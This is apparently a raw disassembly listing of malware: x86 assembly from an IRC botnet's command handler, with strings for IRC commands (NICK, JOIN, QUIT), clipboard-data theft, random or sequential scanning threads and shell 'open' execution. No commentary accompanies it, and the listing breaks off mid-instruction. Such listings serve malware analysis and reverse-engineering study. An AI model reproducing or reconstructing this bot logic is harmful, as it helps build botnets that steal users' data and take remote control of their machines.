10h push edi push offset dword_4307E0 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_41384E: ; CODE XREF: sub_40EE72+1C0Aj ; sub_40EE72+1C21j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_1 ; "%s" push eax call sub_4172B0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_4307AC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C512 push ebx push ebx call near ptr 2680B9Ah nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_413927 loc_413911: ; CODE XREF: sub_40EE72+4AB3j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h call near ptr 2620000h nop jmp short loc_413911 ; --------------------------------------------------------------------------- loc_413927: ; CODE XREF: sub_40EE72+4A9Dj nop call near ptr 2650C0Ah push eax push offset dword_432C7C jmp loc_414E02 ; --------------------------------------------------------------------------- loc_413938: ; CODE XREF: sub_40EE72+1BDCj ; sub_40EE72+1BF3j push edi nop call near ptr 27C0CF0h test eax, eax jz short loc_413962 push edi push offset dword_430780 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A add esp, 10h jmp loc_4110DC ; --------------------------------------------------------------------------- loc_413962: ; CODE XREF: sub_40EE72+4ACFj push offset dword_431128 call sub_40AA35 pop ecx push eax jmp loc_414564 ; --------------------------------------------------------------------------- loc_413973: ; CODE XREF: sub_40EE72+1BAEj ; sub_40EE72+1BC5j push edi call sub_41781F push eax call sub_415419 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_413990 push offset unk_430748 jmp short loc_413995 ; --------------------------------------------------------------------------- loc_413990: ; CODE XREF: sub_40EE72+4B15j push offset unk_430704 loc_413995: ; CODE XREF: sub_40EE72+4B1Cj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411100 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_411100 ; --------------------------------------------------------------------------- loc_4139CE: ; CODE XREF: sub_40EE72+1B80j ; sub_40EE72+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_41518A add esp, 18h cmp eax, 1 push edi jnz short loc_4139F0 push offset unk_4306D0 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139F0: ; CODE XREF: sub_40EE72+4B72j push offset unk_430690 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139FA: ; CODE XREF: sub_40EE72+1B52j ; sub_40EE72+1B69j push edi call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_413A34 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43AD50 cmp eax, ebx jz short loc_413A4F push dword ptr [eax] loc_413A1D: ; CODE XREF: sub_40EE72+4BDBj push edi lea eax, [ebp+var_2DC] push offset dword_430664 push eax call sub_4172B0 add esp, 10h jmp short loc_413A62 ; --------------------------------------------------------------------------- loc_413A34: ; CODE XREF: sub_40EE72+4B95j push edi call dword_43AE1C cmp eax, ebx jz short loc_413A4F mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43AE24 push eax jmp short loc_413A1D ; --------------------------------------------------------------------------- loc_413A4F: ; CODE XREF: sub_40EE72+4BA7j ; sub_40EE72+4BCBj push offset dword_43062C loc_413A54: ; CODE XREF: sub_40EE72+3E2Dj ; sub_40EE72+3FBCj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413A62: ; CODE XREF: sub_40EE72+2A25j ; sub_40EE72+3B35j ... cmp [ebp+var_8], ebx jnz loc_414AC3 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413A8C: ; CODE XREF: sub_40EE72+1B24j ; sub_40EE72+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_418C10 add esp, 0Ch push edi push offset dword_4305F8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AA5: ; CODE XREF: sub_40EE72+1AF6j ; sub_40EE72+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43AD0C test eax, eax push edi jz short loc_413AC5 push offset unk_4305BC jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AC5: ; CODE XREF: sub_40EE72+4C47j push offset unk_430578 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413ACF: ; CODE XREF: sub_40EE72+1AC8j ; sub_40EE72+1ADFj mov al, [edi] mov byte_42F5C4, al movsx eax, byte ptr [edi] push eax push offset dword_430544 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AE4: ; CODE XREF: sub_40EE72+1A9Aj ; sub_40EE72+1AB1j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_430E94 push eax call sub_4172B0 add esp, 0Ch jmp loc_412FD0 ; --------------------------------------------------------------------------- loc_413B32: ; CODE XREF: sub_40EE72+1A6Cj ; sub_40EE72+1A83j push edi call sub_41781F test eax, eax pop ecx jle loc_40F239 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_40F239 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 pop ecx pop ecx push 1F4h call near ptr 2620000h nop push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call dword_43AE30 push [ebp+var_10] push edi call sub_41781F imul eax, 234h pop ecx push dword_440804[eax] call near ptr 27D0906h nop push edi call sub_41781F imul eax, 234h push edi mov dword_440804[eax], ebx call sub_41781F imul eax, 234h pop ecx pop ecx mov byte ptr dword_4405F0[eax], bl jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej ; sub_40EE72+1A55j push edi push offset aAll ; "all" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413C1B call sub_416F25 cmp eax, ebx jle short loc_413C11 push eax push offset dword_4304F8 loc_413BFD: ; CODE XREF: sub_40EE72+15E2j ; sub_40EE72+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_413C09: ; CODE XREF: sub_40EE72+3CA4j add esp, 0Ch jmp loc_41460C ; --------------------------------------------------------------------------- loc_413C11: ; CODE XREF: sub_40EE72+4D83j push offset dword_4304C0 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F239 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_413C37: ; CODE XREF: sub_40EE72+4E36j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40F239 push esi call sub_41781F push eax call sub_416E97 pop ecx pop ecx test eax, eax push esi jz short loc_413C5E push offset dword_43048C jmp short loc_413C63 ; --------------------------------------------------------------------------- loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j push offset dword_430450 loc_413C63: ; CODE XREF: sub_40EE72+4DEAj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C93 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_413C93: ; CODE XREF: sub_40EE72+4E03j lea eax, [ebp+var_2DC] push eax call sub_40BF6D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C37 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413CAF: ; CODE XREF: sub_40EE72+1A10j ; sub_40EE72+1A27j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset dword_428598 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_430428 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413CE9: ; CODE XREF: sub_40EE72+19E2j ; sub_40EE72+19F9j push edi push offset dword_430DC4 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_4303F8 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D05: ; CODE XREF: sub_40EE72+19B4j ; sub_40EE72+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push edi push offset dword_4303C8 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D28: ; CODE XREF: sub_40EE72+1986j ; sub_40EE72+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_430394 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D44: ; CODE XREF: sub_40EE72+194Bj ; sub_40EE72+1960j mov al, byte_42F5F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42F5F2 jz loc_40F239 mov ecx, edx loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D5B cmp al, bl jz loc_40F239 mov [ebp+arg_18], edx loc_413D70: ; CODE XREF: sub_40EE72+51BCj push 8 call sub_416FA4 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 3E8h jle short loc_413DBF push ecx lea eax, [ebp+var_2DC] push offset unk_4316D8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414025 ; --------------------------------------------------------------------------- loc_413DBF: ; CODE XREF: sub_40EE72+4F18j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+var_318], 64h mov [ebp+var_32C], 7 mov [ebp+var_328], 270Fh mov [ebp+arg_0], ebx jz short loc_413E30 mov eax, [ebp+arg_18] mov edi, offset dword_42ACB0 lea esi, [eax-0Ah] loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j lea eax, [edi-28h] push esi push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_413E16 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413DFA jmp short loc_413E30 ; --------------------------------------------------------------------------- loc_413E16: ; CODE XREF: sub_40EE72+4F96j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj ; sub_40EE72+4FA2j cmp [ebp+var_330], ebx jz loc_414039 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43AD3C mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43AE24 push eax lea eax, [ebp+var_444] push eax call sub_418C10 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413ED2 loc_413EB0: ; CODE XREF: sub_40EE72+505Ej cmp eax, ebx jz short loc_413ED2 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413EB0 loc_413ED2: ; CODE XREF: sub_40EE72+503Cj ; sub_40EE72+5040j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push edi push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_41782A push offset byte_436EDC push offset aF ; "#f" call sub_4176D0 add esp, 14h test eax, eax jz short loc_413F3C push offset aF ; "#f" lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_413F42 ; --------------------------------------------------------------------------- loc_413F3C: ; CODE XREF: sub_40EE72+50B1j mov [ebp+var_3B4], bl loc_413F42: ; CODE XREF: sub_40EE72+50C8j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F54 mov eax, offset aSequential ; "Sequential" loc_413F54: ; CODE XREF: sub_40EE72+50DBj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_43031C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_413FDE loc_413FCC: ; CODE XREF: sub_40EE72+516Aj cmp [ebp+var_300], ebx jnz short loc_413FF9 push 32h nop call near ptr 2620000h jmp short loc_413FCC ; --------------------------------------------------------------------------- loc_413FDE: ; CODE XREF: sub_40EE72+5158j nop call near ptr 2650C0Ah push eax lea eax, [ebp+var_2DC] push offset unk_4315C8 push eax call sub_4172B0 add esp, 0Ch loc_413FF9: ; CODE XREF: sub_40EE72+5160j cmp [ebp+var_8], ebx jnz short loc_414018 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414018: ; CODE XREF: sub_40EE72+518Aj lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx loc_414025: ; CODE XREF: sub_40EE72+4F48j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413D70 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_414039: ; CODE XREF: sub_40EE72+3108j ; sub_40EE72+4FC4j push offset unk_4302D8 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_414043: ; CODE XREF: sub_40EE72+1921j ; sub_40EE72+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_4302A0 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_416D5C add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409037 push ebx push ebx call near ptr 2680B9Ah nop mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4140DC loc_4140C9: ; CODE XREF: sub_40EE72+5268j cmp [ebp+var_18], ebx jnz loc_414E11 push 32h nop call near ptr 2620000h jmp short loc_4140C9 ; --------------------------------------------------------------------------- loc_4140DC: ; CODE XREF: sub_40EE72+5255j nop call near ptr 2650C0Ah push eax push offset unk_430254 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_4140ED: ; CODE XREF: sub_40EE72+18F7j ; sub_40EE72+190Cj push 4 call sub_416FA4 test eax, eax pop ecx jle short loc_414103 push offset unk_430228 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_414103: ; CODE XREF: sub_40EE72+5285j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_414126 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41413A ; --------------------------------------------------------------------------- loc_414126: ; CODE XREF: sub_40EE72+529Aj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx nop call near ptr 2660000h loc_41413A: ; CODE XREF: sub_40EE72+52B2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_41414A mov esi, offset byte_42F674 loc_41414A: ; CODE XREF: sub_40EE72+52D1j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_41782A mov eax, dword_42F5AC push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_416D5C add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C19 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41421D loc_414207: ; CODE XREF: sub_40EE72+53A9j cmp [ebp+var_560], ebx jnz loc_410E57 push 32h call near ptr 2620000h nop jmp short loc_414207 ; --------------------------------------------------------------------------- loc_41421D: ; CODE XREF: sub_40EE72+5393j nop call near ptr 2650C0Ah push eax push offset unk_4301E0 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_41422E: ; CODE XREF: sub_40EE72+18CDj ; sub_40EE72+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41424D push edi call sub_41781F test eax, eax pop ecx jz short loc_41424D push edi call sub_41781F pop ecx jmp short loc_414252 ; --------------------------------------------------------------------------- loc_41424D: ; CODE XREF: sub_40EE72+53C5j ; sub_40EE72+53D0j mov eax, dword_42F5B0 loc_414252: ; CODE XREF: sub_40EE72+53D9j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414285 lea eax, [ebp+var_680] push esi push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4142B0 ; --------------------------------------------------------------------------- loc_414285: ; CODE XREF: sub_40EE72+5400j lea eax, [ebp+var_3FC] push 104h push eax nop call near ptr 2620087h push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4192B8 add esp, 14h loc_4142B0: ; CODE XREF: sub_40EE72+5411j lea eax, [ebp+var_680] push eax call sub_417AB0 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_4142DB lea eax, [ebp+var_680] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_681], bl loc_4142DB: ; CODE XREF: sub_40EE72+5453j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF2 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414393 loc_41437D: ; CODE XREF: sub_40EE72+551Fj cmp [ebp+var_560], ebx jnz loc_4144E5 push 32h nop call near ptr 2620000h jmp short loc_41437D ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_40EE72+5509j nop call near ptr 2650C0Ah push eax push offset unk_430198 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_4143A4: ; CODE XREF: sub_40EE72+18A3j ; sub_40EE72+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4143C3 push edi call sub_41781F test eax, eax pop ecx jz short loc_4143C3 push edi call sub_41781F pop ecx jmp short loc_4143C8 ; --------------------------------------------------------------------------- loc_4143C3: ; CODE XREF: sub_40EE72+553Bj ; sub_40EE72+5546j mov eax, dword_42F5B4 loc_4143C8: ; CODE XREF: sub_40EE72+554Fj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_4143DF lea eax, [ebp+var_D8] loc_4143DF: ; CODE XREF: sub_40EE72+5565j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_41782A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_414401 mov esi, offset byte_436EDC loc_414401: ; CODE XREF: sub_40EE72+5588j push esi lea eax, [ebp+var_678] push 100h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_43014C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset word_41570E push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4144CA loc_4144B8: ; CODE XREF: sub_40EE72+5656j cmp [ebp+var_560], ebx jnz short loc_4144E5 push 32h nop call near ptr 2620000h jmp short loc_4144B8 ; --------------------------------------------------------------------------- loc_4144CA: ; CODE XREF: sub_40EE72+5644j call near ptr 2650C0Ah nop push eax push offset dword_430100 loc_4144D6: ; CODE XREF: sub_40EE72+3625j ; sub_40EE72+3722j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_4144E5: ; CODE XREF: sub_40EE72+3609j ; sub_40EE72+3706j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push edi jmp loc_411D2F ; --------------------------------------------------------------------------- loc_4144F5: ; CODE XREF: sub_40EE72+1879j ; sub_40EE72+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414508 push esi call sub_41781F jmp short loc_41450F ; --------------------------------------------------------------------------- loc_414508: ; CODE XREF: sub_40EE72+568Cj push 8 call sub_416FC3 loc_41450F: ; CODE XREF: sub_40EE72+5694j cmp eax, ebx pop ecx jz loc_414F47 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071DB loc_41452A: ; CODE XREF: sub_40EE72+5B67j add esp, 10h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_414532: ; CODE XREF: sub_40EE72+184Fj ; sub_40EE72+1864j mov eax, dword_43ACC0 cmp eax, ebx jz short loc_41454F call eax test eax, eax jz short loc_414548 push offset unk_4300CC jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414548: ; CODE XREF: sub_40EE72+56CDj push offset unk_430090 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_41454F: ; CODE XREF: sub_40EE72+56C7j push offset dword_430054 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414556: ; CODE XREF: sub_40EE72+1825j ; sub_40EE72+183Aj call sub_40AE02 test eax, eax jz short loc_41457A push offset dword_430020 loc_414564: ; CODE XREF: sub_40EE72+4AFCj ; sub_40EE72+56D4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_4110BD ; --------------------------------------------------------------------------- loc_41457A: ; CODE XREF: sub_40EE72+56EBj push offset unk_42FFE4 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414581: ; CODE XREF: sub_40EE72+17FBj ; sub_40EE72+1810j cmp [ebp+var_8], ebx jnz short loc_4145A0 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4145A0: ; CODE XREF: sub_40EE72+5712j push ebx push [ebp+var_4] call sub_40AABF push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FFA4 loc_4145BD: ; CODE XREF: sub_40EE72+5A09j ; sub_40EE72+5A3Bj call sub_40BF6D add esp, 18h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4145CA: ; CODE XREF: sub_40EE72+171Cj ; sub_40EE72+1731j push 7 call sub_416FA4 test eax, eax pop ecx jle short loc_4145DD push offset dword_42FF6C jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145DD: ; CODE XREF: sub_40EE72+5762j push [ebp+var_8C] push [ebp+arg_4] call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145F9 push offset dword_42FF34 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145F9: ; CODE XREF: sub_40EE72+577Ej push offset dword_42FF04 loc_4145FE: ; CODE XREF: sub_40EE72+2C51j ; sub_40EE72+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_41460C: ; CODE XREF: sub_40EE72+15C6j ; sub_40EE72+2D61j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_414619: ; CODE XREF: sub_40EE72+3961j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_414629: ; CODE XREF: sub_40EE72+2ECBj call sub_40D679 add esp, 14h jmp loc_414E11 ; --------------------------------------------------------------------------- loc_414636: ; CODE XREF: sub_40EE72+16F2j ; sub_40EE72+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A4AC jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41464F: ; CODE XREF: sub_40EE72+16C8j ; sub_40EE72+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D320 jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41466C: ; CODE XREF: sub_40EE72+169Ej ; sub_40EE72+16B3j or edi, 0FFFFFFFFh nop call near ptr 26108B1h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_414695 push esi call sub_41781F pop ecx mov edi, eax loc_414695: ; CODE XREF: sub_40EE72+5818j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4146AE cmp edi, 0FFFFFFFFh jnz loc_414F47 loc_4146AE: ; CODE XREF: sub_40EE72+5831j push ebx call sub_40B721 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_42FEDC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_411A5D ; --------------------------------------------------------------------------- loc_4146F1: ; CODE XREF: sub_40EE72+1674j ; sub_40EE72+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408C26 add esp, 0Ch push offset unk_42FEAC jmp loc_410D38 ; --------------------------------------------------------------------------- loc_41470F: ; CODE XREF: sub_40EE72+164Aj ; sub_40EE72+165Fj push 1Fh call sub_416FA4 test eax, eax pop ecx jle short loc_414738 cmp [ebp+var_8], ebx jnz loc_40F239 push ebx push [ebp+var_4] push offset unk_42FE78 push [ebp+var_8C] jmp loc_40F7A0 ; --------------------------------------------------------------------------- loc_414738: ; CODE XREF: sub_40EE72+58A7j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_414799 push esi push offset aFull ; "full" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_414799 mov [ebp+var_46C], 1 loc_414799: ; CODE XREF: sub_40EE72+590Aj ; sub_40EE72+591Bj lea eax, [ebp+var_2DC] push offset dword_42FE40 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_41533B push ebx push ebx nop call near ptr 2680B9Ah mov ecx, 